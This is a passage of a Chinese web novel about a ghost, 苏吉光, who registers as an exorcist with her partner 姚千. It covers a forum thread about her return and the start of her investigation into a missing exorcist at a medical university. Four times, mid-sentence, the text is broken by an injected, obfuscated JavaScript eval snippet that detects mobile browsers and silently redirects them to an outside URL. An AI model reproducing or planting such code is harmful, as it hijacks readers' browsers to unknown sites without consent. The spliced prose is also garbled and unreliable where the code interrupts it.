“原本打算是过两天再提,既然你问了,那就现在说吧。” “这是在风铃游乐园里我所想到的。” “姚千,你有没有什么考虑过生活,或者说活下去的意义?” 43. 驱灵师之死02 姚千看上去有些许茫然,片刻的思考后,他摇了摇头,不知是没思考过,还是不愿分享。 我继续道:“其实从我作为残灵拥有意识之后,就一直在考虑这个问题。” “我已经不是人类了,但还拥有意识,现在还能通过自己的行为和这个世界产生互动——所以也算是以另一种形式活在这个世界上。” “虽然没有说过,但我总觉得自己在找一样东西。” 我顿了顿,“姚千,陈自同死的时候,对我说过一段话。” “他说,人活着,总是有想做的事情。” 我笑了一声,“我觉得他说得对。那一刻我也终于意识到,其实我早就知道那个答案了,只是一直不能承认。” “去游乐园之前,与其说是担心你作为驱灵师失业,倒不是说是我在等待一个没有被完成的任务。坐在这个房间里时,我就一直在等待,等待离开,等待我作为一个具有灵能力的残灵,能够真正参与到这个世界去。” “即便作为一个残灵,我也有想做、并且一直做的事情。和你,和任何人无关,这是我自己的选择。” 姚千低着头,做出听得很认真的姿态,听完却好像一下轻松下来,笑容很浅地感慨道,“怎么一点也不让人觉得意外?如果不是失忆,或许刚见面时,你就会有这种发言了。” 我耸肩:“或许我本来就是这种人。” “所以呢?”姚千向前靠了靠,两只眼盯着我,“所以你的打算是?” “既然我想继续驱灵的工作,自己作为一个残灵,当然是没办法接到任务的。”我理所当然道,“我需要一个人类的驱灵师搭档。” 姚千问:“我可以做最符合要求的那个人吗?” 我实话实说:“至少我没什么别的选择。” 姚千于是又笑了,这次好像是发自内心地开心,眉眼间常有的阴沉也消去,显出温润的神采。 “很荣幸。”他认真说出开玩笑一样的话语。 我问:“所以,如果是残灵想要一直参与驱灵师的工作,需不需要什么额外的手续?” 还是说就一直像是黑户一样被带来带去? 姚千陷入短暂的回忆,片刻道:“杨骞似乎跟我提起过什么,但我没有认真听过。” 杨骞就是那位向姚千交派任务的杨先生,这会儿已经是凌晨三点,此刻叫他起床显然缺乏人道主义精神,于是我和姚千就此结束这场不甚明了的深夜会谈。 姚千好像是终于放心了一样地回去睡觉,一觉睡到次日中午,赶在12点前醒来点到了外卖。 姚千一边吃外卖,一边和杨骞在手机上进行文字聊天,询问他相关问题。 杨骞倒是回得很快:什么残灵,你怎么关心起这个问题了 姚千:我最近找了残灵做工作搭档 杨骞:??? 杨骞:……所以你之前那个样子 杨骞:!!我说上次去你家那么冷 姚千提醒他:在说正事 杨骞继续控诉:你家里有残灵你不告诉我!怎么回事啊? 杨骞:所以,你之前不接工作也是因为这件事?不会吧,残灵之前是你认识的人? 姚千:嗯 姚千:是苏吉光 屏幕上方亮起“正在输入中”,灭了,又亮起来,又没了。 反复几次,那边终于确认出一行字:你又疯了? 姚千:…… 姚千:没疯,我很好 杨骞:吉光死了都那么多年了,怎么可能现在突然出现啊,你清醒一点 姚千:是真的,乐语也见过她 对面彻底不说话了,我看着聊天界面,好奇道:“原来他认识我的啊?” “他刚进这一行的时候,也和你交接过。”姚千意简言赅,“但时间不长。” 半小时后,杨骞坐在了姚千家客厅的沙发上,还是原来的老位置。 杨骞作为普通人,当然还是看不到也听不到我,最多只能根据电脑上自行显示出的文字确认我的存在——看起来就像闹鬼一样。 好吧,我不得不承认悲伤现实,本残灵和鬼也没有非常大的区别。 杨骞对着我所在的空气茫然半天,只憋出来一句:“你真是小苏啊?” 我想了想,在电脑里严谨地回复道:“我失忆了,不确定。姚千说我是。” 杨骞的表情顿时很复杂,看向姚千:“替身文学?” 姚千:“……她有片羽。” 杨骞眼睛睁大了:“真的?” 我打字:你又不是灵感者,我也没法演示给你看啊? “说得也是。”杨骞有些遗憾,“我很少会像现在这样希望我能看到残灵。” 很少有人希望自己能看到残灵吧,我心想。除非是那种对于奇幻现象抱有某种奇特的中二爱好,希望自己拥有超凡的特殊能力……这种想法往往也会随着人类身体和心理趋于成年而逐渐褪去。 “我是或者不是苏吉光,又有什么分别?”我好奇。 杨骞看着屏幕上的字:“也没什么本质的分别。” “只是苏吉光的残灵再次出现在这个世界上,这件事多少会让人惊讶?” 又是这种语气,好像苏吉光这个名字总是激起某种特殊的反应。我并不觉得意外,只是有些莫名的失望,继续在电脑上打字道:那苏吉光是个什么样的人? 杨骞这次进行了短暂的回想,尔后使用了一个熟悉的词:“天才吧。” “还有呢?”我打字。 “很完美的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14465818|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一个人。”杨骞慢慢吐出自己的形容,“漂亮,性格好,极度聪明。会照顾到每个人,你能想到的和想不到的,她都能想到。很年轻就成为了驱灵师,而且从来没有在任何一个任务中失败过……除了死去的那一个。” “大概由于她人生的一切都太顺利,也显得有些过于自信。但这种自信并不让人觉得讨厌,反而很安心?”杨骞笑了一下,“不过我也只是和她交接过任务,并没有真正一起合作过,所以并不能说完全了解她吧,只是从侧面有些距离地看到苏吉光,才觉得她是这样一个人。” 他使用的词是“她”,像是仍然不能确定我就是苏吉光。我对这点当然也不介意,毕竟杨骞这些夸张的形容真要用来描述我,我也会尴尬而死的。 我继续道:“那她的家人朋友呢,和她关系怎么样?” “她没有家人,是孤儿院出身的,朋友么,倒是很多。”杨骞认真想了想,“但真正十分亲近,的,我倒是没有印象。这种人不都是这样吗,到处跑来跑去,看起来朋友很多,但真要说有几个特别亲近的,又说不上来。” “真要说的话……”杨骞看向姚千,“大概是和姚千呆在一起的时间最多吧,毕竟是搭档。” “说来也是有意思,”杨骞又看看电脑屏幕,好像上面打出的字就是我的本体一样,“如果你真是失忆的苏吉光,为什么偏偏遇到的就是姚千,是不是太巧了?” 姚千淡淡地接上话:“因为即便遇到其他认识的人,他们也是看不到吉光的,就像你一样。” “……也是。” 杨骞结束自己漫长的回忆和介绍,问道:“所以,你们找我,就是问残灵如果要做驱灵师,有没有什么相关程序呗。” “我记得群里曾经发过一个相关文件,但现在找不到了。”姚千说。 “嗯,那是上半年的事情了。咱们这边主管部门试行的政策,主要是为了方便对残灵进行管理,你知道的,只要是存在的东西,他们都想管理。不过讲实话,据我所知到现在为止,并没有什么人,额,残灵,进行过注册,所以这个政策现在也是似有若无。” “为什么?”我很有兴趣地追问。 杨骞被我问得有点摸不着头脑:“还能是为什么?作为残灵而言,一个在人类世界的所谓身份也没有意义吧?即便是和驱灵师达成合作,帮助他进行驱灵活动,也多半是和驱灵师做好了私底下的交易才会帮忙。有哪个残灵会是抱着就想要驱灵、想要做驱灵师的想法,去驱灵的?” 我默默在屏幕上点出了一个举手的emoji:我啊 杨骞:“……你什么?” 我继续打字:我是真的想做驱灵师 杨骞沉默了。 片刻,他才道:“我现在有点相信你是苏吉光了。” 44. 驱灵师之死03 我好笑:“苏吉光这个名字是和驱灵师做严密绑定了吗?” “不是。”杨骞答,“是因为苏吉光往往会说一些这种让人不知道该怎么回答的话吧。” 接下来的时间里,杨骞向我简单介绍了政策里包含的若干重点。 残灵可以通过部门里的灵感者进行相关信息的注册,在此过程中,可以不涉及自己生前的名字,取一个跟生前无关的名字也完全可以。每个残灵必须绑定一位驱灵师作为负责人,一旦残灵出现任何情况——此处很可能指的是伤害人类——都会追责到这位负责人。 至于接受任务,残灵倒是可以不必只和负责人共同执行任务,但是必须和其他人类一起,而不能由残灵单独接手任务。 “限制说完了,好处呢?”我打字。 杨骞道:“既然接手任务,就会有报酬啊。单独的一份,可以打进只有你能使用的银行账号里。” 我:我都不是人,能用什么账户? 杨骞笑了:“用我们部门的名义开一个只有你可以用的银行账户,并不是难事。” 他继续道,“除此之外,驱灵师所享有的福利待遇残灵也可以享有,包括免费治疗、相关的信息查询,这些都可以由作为灵感者的工作人员和你对接。” “那论坛账号呢?”我问。 杨骞反应了一下:“哦,那个论坛啊,当然可以注册一个。” 在此之后,杨骞添加了我的联系方式——我终于用姚千的身份信息注册了一个自己使用的电话号码,并以此注册了社交账号。在进行了颇有些繁复的相关程序后,我也成为了一个在驱灵师相关部门登记注册的残灵。 单听这句话多少显得有点危险,像是挂名上了通缉榜。 在这个过程中,我终于知道了我所登记的这个组织的全称:驱除异常灵能力生物资源协调中心,简称驱协中心——听起来有点像驱邪。驱协中心下设有多个部分,包括研究、后勤资源、残灵监控等,我的交接和登记都是在其中的灵能力者部门,简称灵能部。 在部门中,每一个登记的灵能力者都有相对应的对接人,一位对接人会负责多个灵能力者。 帮我办理的灵感者工作人员是个二十多岁的青年女性,叫南哲,办事干练,态度和气,能回答我大多数充满好奇的问题。 全部流程走完后,她向我宣布:“从现在起我就是你的对接人了,一切有关的事情都可以和我联系,如果有相关的任务,我也可能会联系你的。” “哦对了,小苏,”虽然我的出生年月比她早,但毕竟活着的年纪比她小,她还是使用了这种称呼来喊我,“你想要注册的论坛账号,我也给你申请好了。” 她把账号名和密码发给我,“可以修改密码和账号名,这个账号就只有你能够使用了。” 虽然已经发给我了,但我实际上也是回到家才能看到的。毕竟作为残灵,我出门没办法携带手机——所有的电子器械都被我放在家里。 和我交代完论坛的使用,南哲又道:“还有最后一个问题,你接受和其他驱灵师组队吗?” “这是什么?”我不太明白。 “在我们的电子系统里,如果接受和其他驱灵师组队,在选择组队成员的列表里就会出现你的名字。当然,也会标注你的残灵身份,和基本信息。” 南哲看着我:“虽然我入行才四年,但也听说过你的名字。如果你真的同意公开信息,你变成残灵这件事,大概会作为驱灵圈子里的一个新闻,很快传开吧。” “原来如此。”我懂了,“那请务必帮我挂上去。” 当天晚上,我终于修改好账户名和密码,可以用自己的账号在论坛里灌水刷帖,刚点进去,就看到首页里一条显示有HOT字样的帖子被最新回复顶到了上面。 标题:C省的,有没有刷新合作列表?看到苏吉光的名字了,不是我眼睛出问题了吗? 帖子建立时间:21:09 总回复数:67 最新回复时间:22:43 还挺热闹的,我点进去进行围观。 楼主帖:我靠,大晚上把我整害怕了。没事点进去看看,没想到看到了这个 【截图.jpg】 【截图.jpg】 真的是苏吉光,还是残灵,灵能力写的是片羽,还有个负责人一栏,写的是姚千!! 我靠这是本人吧,变成残灵了?还是恶作剧啊??我要睡不着了啊啊 二楼:好刺激,等一个c省的辟谣 三楼:坐标C省,楼主一说我也去刷了,这边也能刷到,楼主眼睛没有问题 …… 六楼:恶作剧吧,苏吉光死了都多少年了,就算真变成残灵,怎么会现在才出现? 七楼:同意楼上,按照苏吉光的性格,不可能藏了八年没人知道她。我们苏记不管是做人还是做残灵都不可能默默无闻好吧 苏记——这个外号曾在一些帖子里被用来代指我的名字,大概是一种简洁的表达方式。 但说实话,这个外号听上去很像是点心铺。想到自己吃不到的点心,我产生了短暂的忧伤。 八楼:鉴定楼上为苏粉 九楼:都这个年代了,谁还在粉苏记啊,不会是我吧?? 看到标题啪一下就点进来了,不管怎么说我希望是真的QAQ …… 十一楼:我说,既然姚千是这个残灵的负责人,去问问他不就知道了? 十二楼:谁能联系到姚千? 十三楼:谁能联系到姚千? 十四楼:谁能联系到姚千? …… 十七楼:……够了喂,不就是认识姚千的人很少吗,但肯定有专门负责联系他的对接人吧?他肯定也加消息群了吧?真就没人能问到? 十八楼:顶帖,蹲一个能联系到姚千的人 …… 二十一楼:同c省,a市,和姚千在一个群里,听说加他的申请都被拒了,我没试过 二十二楼:楼上,你现在可以试试了,就用“请问苏吉光是不是真的变成残灵了”做申请消息 二十三楼:申请已发送< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14480187|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>…… 二十六楼:悲,被拒【截图.JPG】 二十七楼:拒得也太快了!这有两分钟吗?怎么觉得有种……不想被人知道的事情被戳破的恼怒感呢,是我的错觉吧 二十八楼:不像错觉 二十九楼:不像错觉 三十楼:没看出来,但是接队形,不像错觉 …… 三十二楼:戏好多,拒个好友申请不就是点两下的事,人家正在玩手机而已 三十三楼:没有人关注这一点吗?苏吉光可是有两种灵能力的,可是截图显示只有一种诶【截图.jpg】 三十四楼:驱灵师变成残灵后,不能使用原来的灵能力,不是也很正常吗? 三十五楼:那为什么可以用片羽? 三十六楼:这没啥好说的吧,本身这个研究就不确定 三十七楼:其实我有个想法。如果这个残灵真的是苏吉光,没道理死了八年才突然变成残灵,那这八年时间她干什么去了?你们就没想过最可能的一点吗?苏吉光说不定变成了某个灵域里的灵域主人,默默害了八年人,直到姚千找到她,才让她作为残灵注册成了驱灵师 三十八楼:???什么意思,非把苏记当坏人看 三十九楼:我不是非要用恶意来揣测苏吉光,好人变成残灵后失去理智的事情咱们见得还少吗? 苏吉光她再牛,谁能保证她变成残灵后不害人?残灵残灵,本质上不就是抱有执念不能消散的魂灵?都变成残灵了,你们还指望这是原来那个人? …… 四十三楼:虽然但是……杀过人的残灵是不能注册的…… 四十四楼:这谁能证明啊,姚千既然拉她当驱灵师,肯定要给她背书的。姚千又不是什么好人,违背事实帮她背书也很合理吧? 四十五楼:合理的 四十六楼:合理的 四十七楼:苏记怎么就杀人了!不行,我觉得她即使变成残灵也不会杀人吧!! 不过要说姚千违背事实帮她背书,合理的 四十八楼:怎么感觉楼上磕苏姚 …… 五十五楼:上面搞cp的自己开个楼好吧 五十六楼:其实没那么复杂的,苏吉光的残灵只是失忆了……上次出任务,我见过她 五十七楼:?!! 五十八楼:?!! 五十九楼回复五十六楼:啥,知情者来了?什么任务?? 六十楼:说起来挺复杂的,我是新手,这个灵域困了我一年多,中途还牺牲了另一个驱灵师。是苏吉光和姚千破掉这个灵域,把我带出来的。也是到离开,我才知道她是苏吉光的 六十一楼:我靠我靠我靠,是真的?? 六十二楼回复六十一楼:真的,我之前也没见过她照片,后来找照片看了,一模一样,那种好看得不像身边会出现的人。就是性格有点怪,不像我听说得那么完美 …… 六十七楼回复六十二楼:很正常,了解苏记的都知道,她有时候就是显得有点怪,天才是这样的 45. 驱灵师之死04 我刷完整个帖子,嘟囔着“谁性格怪了”,点开了自称见过我的那个账号的主页,昵称显示为“节奏感”,看显示的性别和年龄,都和之前在桃源村遇到的任谊挂得上号。 论坛当然也有私聊功能,我点开和任谊的聊天界面,打出一行消息:是任谊吗 片刻后,那边回过来消息:不知道,问和苏吉光相关的消息,一概不知道 一副刚才已经有八十个人问过他苏吉光相关消息的样子。 我:……不是问这个,我就是苏吉光 自行报出在桃源村落的数个细节,任谊终于相信了,并搬出“姐”这种熟悉称谓。 任谊:姐,好久没有联系了!前阵子我还想问问姚先生你们最近怎么样呢!可他不接我电话! 我打字:他自闭症。我有电话了,你有时间可以跟我打 我将自己新办的电话号码展示给任谊,任谊于是表示立刻想打过来,闲着也是闲着,我便答应了。 任谊算是我认识的为数不多的驱灵师之一,大抵也算得上是朋友。电话里我和任谊简单交流了近况,之前任谊在村子里失踪一年多,要不是始终没有找到他的尸体,估计死亡证明都开出来了。但长期旷课,学校还是给他办理了休学,家里也从担心转到悲伤,任谊此次劫后余生,父母坚决要求他放弃驱灵师的工作。任谊则更加坚决地拒绝,父母于是断了他的生活费,好在任谊做驱灵师工作的报酬早已攒了许多,没有父母的支援也能轻松活下来。 “就这样吗?”我问,“那之后怎么办?” “不怎么办啊,”任谊语气倒不算沉重,“时间长了他们就想通了,这是没有办法的事情。不能因为他们担心,我就不做这一行了吧。驱灵师不都是这样吗,你家里肯定也担心吧……” 他的话半途打住,“对不起姐,忘记你失忆了。” “没事,”我说,“听说我是孤儿,没有家人。” 任谊似乎带着些许找补的心情,道:“没有家人,朋友肯定有吧。说起来,姐你怎么突然想起来注册这个身份了,我还是第一次听说有残灵注册这个的。这下你成为残灵的消息传开了,之后应该就会有你失忆前的朋友来找你了吧?” “怎么找我?”我随口道,“他们又不知道我在哪里。” “很简单啊,消息上已经说了姚千就是你的负责人,”任谊道,“找到姚千就能知道你在哪里了。” 我哂笑:“他不是不接你电话吗?找到他好像本来就不是一件容易的事。” 虽然嘴上这么说,但任谊这句话确实激起了我的一些期待,好像有朋友找来,就能更多集齐我之前人生的碎片,拼凑出一个更加完整的我。 在我与任谊聊天之际,隔墙之外,姚千的电话也响了起来。 其实并不叫响,姚千的手机长期设定静音,从来不发出一声响动,连震动都不会,比姚千本人还要安静。姚千只是看到桌上手机屏幕突然亮起了来电显示,屈尊降贵地瞥了一眼。 来电人显示为阮之秋。 姚千并不是很想接,何况现在已经11点多,早就不是正常的社交时间。姚千其实也猜到了她的来意,于是更加不想接,但这个来电人具有非同一般的能量,姚千担心自己不接,明天自己的手机上会多出三十个未接来电。 又不能将此人拉黑了事。 姚千一瞬间在脑子里权衡完利弊,不情愿地将电话从桌子上拾起来,滑动接听。 对面冷笑:“你还敢接电话啊?” 姚千道:“有事就说。” “你知道我要问什么。”清亮的女声严肃了些。 “是她。但是失忆了。”姚千简单道,“她不认识你,所以你不用见她。” “失忆了?”那人道,“好吧,我姑且认为你心理问题没有复发——你说她不认识我,那她就认识你?” 姚千笑了:“现在已经再次认识了。” “……” 对面人有点受不了,“小苏姐现在在哪里?” “在我这里。”姚千道。 “我当然知道她是在你这里,你把她安排在哪里了?” “我家。” “什么意思?”对面反应了两秒,“你说的不会是,你和小苏姐现在就住在一起吧?” 姚千用理所当然的语气反问她:“刚才不就是这个意思吗?” “我看这几年你的心理问题不但没有好转,反而……”女声顿了顿,“我现在真的怀疑,你遇到的残灵是不是真的小苏姐。” “是或者不是,都不必你亲自验证了。”姚千冷漠道,“你也不必打听我住在哪里,没什么人知道。现在没有什么好问了吧?我挂了。” “打听你的住址还不是易如反掌?”电话那边发出最后的声明。 姚千把电话挂掉了。 其实姚千也认为阮之秋不是在逞强。阮之秋一直说想做像苏吉光一样的人,这些年下来,似乎也稍有成效——只是在姚千看来两者仍然没有任何可比之处。 放下手机,姚千感到有些冷,于是走到窗户前,却发现窗户早就关得很严实。大概不是窗外冷,姚千想了想,从抽屉里找出了体温计。 这时间,我和任谊的对话已经进行到了新的话题。 “姐,看论坛说你在C省,所以是在A市吗?”任谊这样问道。 我道:“没错。” “既然这样,我最近很想找个A市的驱灵师,帮我确定一件事情。”任谊道,“我可以跟你说一下情况吗?你听听再看要不要帮我。” 听上去似乎与驱灵有关,我表示很感兴趣。 “是这样的,我在A市有一个朋友,最近接了一个任务之后,很长时间没有回复过我的消息,我有些担心她的安全。” “遇到这种情况,是不是可以直接这边的协调部门?”我问。 任谊回道:“嗯,我找到她的对接人询问了,那边给的意见是,她最近接取的任务危险系数是D,该异常现象之前并没有人员伤亡的记录。另外就是驱灵师三天不回复消息的情况下,暂时不会认为其遭遇了危险。综合两点来考虑,暂时不会抽调人员对这个任务进行调查。” “既然这样,似乎也不太用担心?”我道。 “我只是有很不好的预感。”任谊道,“我总觉得……这个任务或许并不是普通的D级任务。” 这句话立刻激起了我的好奇心:“何出此言?” “这个……”任谊道,“让我从头开始说吧。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14488593|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>任谊的朋友叫做娄杉,比任谊还要小一岁,担任驱灵师的时间更短上许多,是任谊在论坛里结识的网友,正在本市的C省大学就读大三。 顺带一提,这所学校也正是我生前就读的大学,只是我尚未拿到毕业证就不幸中断了学业。 娄杉为人谨慎,多数情况下是与人接合作任务,接单人任务的次数屈指可数。这次的任务,由于危险性低,报酬低廉,没人愿意与他人合作,娄杉观望了几日,便单独接下了这个任务。 任务的内容,娄杉与任谊简单描述过,只是解决一个学校里的残灵。 A城的省立医科大内,最近常接到报案,称是学校里常出没一个并非本校学生,行为古怪的年轻人,常常面无表情朝墙壁走去,接着就会在目击者震惊的目光下从墙壁间穿行而过,仿佛并没有实体一般。 更可怕的一次,有人看到天台上有一个学生坐在天台的围栏之上,看上去是想要从那里一跃而下。这人见状立刻冲上去阻拦,一只手几乎要抓住那人胳膊时,却发现自己的手竟然从面前人的他胳膊间穿过。坐在天台上的年轻人冲那人轻轻一笑,从天台上仰面朝下,落入地面。 那一天,除了报警的当事人,没人见到从天台上掉下的某个人影,更没有人摔进天台下的地面。 “听上去似乎只是某个残灵的戏耍。”听完这些描述,我做出猜测。 “只不过,像我这种残灵,根本不能令普通人见到吧,那个残灵又是怎么让人看到他的?难道见到他的全部目击者都是灵感者?” “并没有,报案人在部门里做了测试,显示并非灵感者,都只是些普通人。”任谊道,“灵感者在人群中的分布并不算多,像这样一个医科大里,顶多也就是十个人吧。这中间的灵能力者更可能一个都没有。” “哦。也就是说那个残灵具有让普通人也能见到他的能力,”说到这里,我都有些羡慕了。“那这些目击者见到的残灵又长成什么模样?” “不太一样。”任谊描述,“有男有女,大概都是二十岁左右的年轻人。” 这又出乎我的意料,任谊继续道:“大概是拥有能够模拟出人类外观的能力吧。” 只能这样解释。 我继续问道:“这样听起来,这个残灵的能力确实挺有意思的,但也看不出多少危险性。娄杉还跟你说了什么吗?” “没有了。”任谊道,“娄杉跟我说的大致就是这些,此后她就前往医科大进行调查——她是17号上午去的,到现在还没有回复我的消息。” 我看了一眼电脑右下角显示的时间,现在是20日的23:54,马上就要迎来娄杉失联的第五天了。 不等我的提问,任谊接着道:“至于我为什么这么担忧,是因为前几天,我突然刷到了一个帖子。” “姐,不知道你逛论坛时有没有刷到过那个帖子。名字大概叫从零开始的驱灵师日常记录,不更新就是死了。” 我的记忆迅速浮现出来:“刷到过,但没点进去看。” “或许你可以点进去看看。”任谊的声音沉重了些,“那个帖子已经半年没有帖主更新了。” “帖主所记录的最后一个任务,和这起事件完全一样。她正是死在那个任务之中。” 46. 驱灵师之死05 上午从姚千家出来时,姚千大概还在屋子里睡着,客厅里没有他早晨起来活动的痕迹。我其实犹豫过是否将这件事与姚千说明,邀请他与我同去。 但这样做又实在令人顾虑重重,首先姚千会不会不赞成我自行决定帮忙的行为,又是否愿意与我一起过来,这些都是未知数。我不喜欢此类的未知数。 不过究其原因,还是我想要独自一灵参与到事件中去,体会没有姚千在身边的自由空气。 说来也有意思,遇到姚千前,我厌恶了到处流浪的感觉,才觉得寄居在姚千家其实是不错选择。但享受安全感太久,又会让人想要品尝一下独自游荡的味道。 如果我仍然是人类的话,大抵要感慨一声:呵,人类! 可惜不是,我也不能感慨说,呵,残灵! 临走时用电脑给姚千发了一条消息,此人似乎睡得很熟,未做应答。我查完抵达医科大学的地铁线路,出了门。 不必买票,我附在地铁里,转了两趟线,到达了目的地。 流浪生涯里,我也如同游客一样,坐着公共交通工具游览过这个城市的许多地方,大学也去过,只是走马观花,看得不甚仔细。这次飘进校园,我其实也缺少头绪。 昨天和任谊一边通话,我浏览了那个从零开始的驱灵师记录帖,的确已经半年没有更新,最后的四五页都是非帖主的回复,从最开始担心的询问,到中途自称帖主朋友的回复,帖主确实已经不在人世,于是后面的回复大都是悲伤的感慨。 任谊让我看看帖主的最后一楼。 正如任谊所说,虽然细节处没有任谊说得那么细致,但帖主的描述和任谊所说的确没有任何不同——只不过医科大换成另一个城市的另一栋办公楼。除此之外,毫无出入。 “你认为这个残灵在半年前杀死帖主后,又流窜来到了这里?”我说。 “或许还不只是杀过一个人。”任谊道,“如果他持续更换地区,不断杀人,说不定直到现在为止,驱协中心都没有发现它真正的危险性。” “这种情况会发生吗?”我不赞同道,“如果帖主真的死于这个残灵事件,事件的相关特征应该会有所记录。没有解决,还死亡了一名驱灵师——其他地方如果出现类似的情形,应该会进行关联。娄杉所接到的这个任务就不会只是D级别的危险性了。” “你说的这种情况,只会在两种可能下出现。”我继续道。 “第一是部门内部信息交流的渠道很少,彼此对残灵事件的交流很不充分。这从我之前了解到的情况来看,应该是不成立。第二就是你刚才所说的残灵事件缺乏特征,也就是说,不同相貌的残灵大量被普通人目击到的情况很多见……” 任谊接上我的话:“当然不多见。所以你的意思是,这两起事件并没有关联?” 思考几秒,我否认道:“不,我也觉得它们之间是存在关联的。只是为什么部门没有将它们进行联系合并,这其中大概还有着我们所不知道的情况。” 此后,我又询问任谊是否将这一情况告知过娄杉的对接人,任谊说他已经告知了,只是对接人说对于此事还需要进行相关的材料调取,需要时间才能进行答复。 我问娄杉的对接人是谁,任谊告诉我说那人叫做南哲。 回忆到此结束,我心中重温着关于事件的种种因果,虽然总体看上去并不复杂,但我总有些莫名地不安。或许正像是我对任谊所说的,这其中还存在着我们此刻并不了解的内容。 我从一个教学楼晃到另一个教学楼,尽量往人迹罕至的角落里钻。对于如何找到娄杉,我暂且缺乏思路,为今之计只能先碰碰运气,寄希望于恰好遇到那个残灵。 时运不济的是,我尚未发现那个残灵,便有人先一步发现了我这只残灵。 我拐了三个弯,确认身后还是有一个人类正在跟着我,且跟踪手法拙劣,在刑侦或特工相关的电视剧中恐怕难以顺利活到结局。 我只好前行到隐蔽处,见到那个人类面露纠结犹豫,但还是跟了上来。我藏在门后,在她推开天台门之时突然出现,惊得她发出一声大叫。 “你你,你!” 她拔腿要跑,我连忙用片羽缠住她,见她不顾形象坐在地上,朝着我露出惊恐之色,我桀桀怪笑:“现在知道后悔了?” 女生顾不上回答,手腿并用往后挪动,看样子确实吓得不轻。我收回片羽,恢复正常表情:“好了,不吓唬你了。你不是灵能力者吧,这样随便跟踪残灵很危险的。” “残灵中大多数都还是危险的,你见到最好还是要当做没有见过。”我装老成驱灵师,发表教育言论。 这话不得不说。姚千曾经说过,灵感者由于能够看到残灵,所以被残灵所伤害的可能性较之常人要更大。这实在是太正常不过,如果我是个想要找人开刀的残灵,也会想先拿能看到我的人类磨刀。 对于眼前这个缺乏自保能力的灵感者,刚才跟踪我的行为确实太过危险,还好她跟踪的是我。 眼前的年轻女生从地上站起来,渐渐恢复平静,连连点头,然后朝我眨巴眼睛:“你是好残灵吧?” 这名词听上去实在古怪,如果不是接下来还有问题要问,我恐怕会断然否认。 我轻咳一声:“……嗯,我是驱灵师。” 年轻女生歪着脑袋打量我:“残灵可以做驱灵师?” “当然可以。”我恨不得立刻掏出我的电子证件——然而作为残灵,我出门时携带不了任何物件,自然是什么能够证明身份的东西都不存在。 还好眼前的年轻女生似乎并不知道有所谓证件的存在,我这样说了,她就将信将疑地点点头,随后道:“我知道,最近学校里怪怪的,出现过一些奇怪的情况。你是来查这个的吧?” 其实不是,我是来找调查这个的驱灵师。但我还是点了点头,毕竟这两个问题之间显然有着极其紧密的关联。 我干脆问她:“你作为灵感者,最近在这个学校里还见过什么残灵吗?” 女生眨眨眼,食指一指,指向我。 “……除了我之外。”我说。 “那没有了。”女生道,“虽然最近学校里这些事情传得沸沸扬扬,但我还真没见过什么残灵。” 虽然说残灵很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14493570|150322||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是鬼,但和一般文学作品里所说的鬼仍然有些许区别,比如说残灵的出现条件其实更加苛刻。故而据我目测,城市中的流浪的残灵数量并不算多,且大多数对人类都没有好处。 听她做出这样的回答,我忍不住有些失望,接着问道:“那传闻的那个事情是什么样子的,你能跟我说说吗?” 不得不说,单独一个残灵来调查这些事情确实费力,比如说我在学校里转悠了这么长的时间,竟然也不能找到一个同学问问情况,只有眼前这个灵感者能够回答我的问题。 女生想了想,似乎在组织语言:“要说的话,就是最近有不少人说看见了奇怪的人影,能穿过墙壁,或者会跳楼什么的。有个同学为了阻止人影跳楼,自己还差点掉下去,结果发现根本没人从楼上真的掉下去。” 她唔了一声,双手一合,很积极地问我道:“跳楼的地方我倒是知道,你要不要看看?” 被她期待的目光所注视,我感到无法拒绝:“……走吧。” 于是她带着我下楼,走在校园里,她拿出手机,装作打电话的样子,和我聊天。 “那你有没有听说过,有人来这里调查这件事情?”我问她。 “什么人?”她问。 “驱灵师。” 女生歪头:“没有听说过,可能她见得人比较少?” 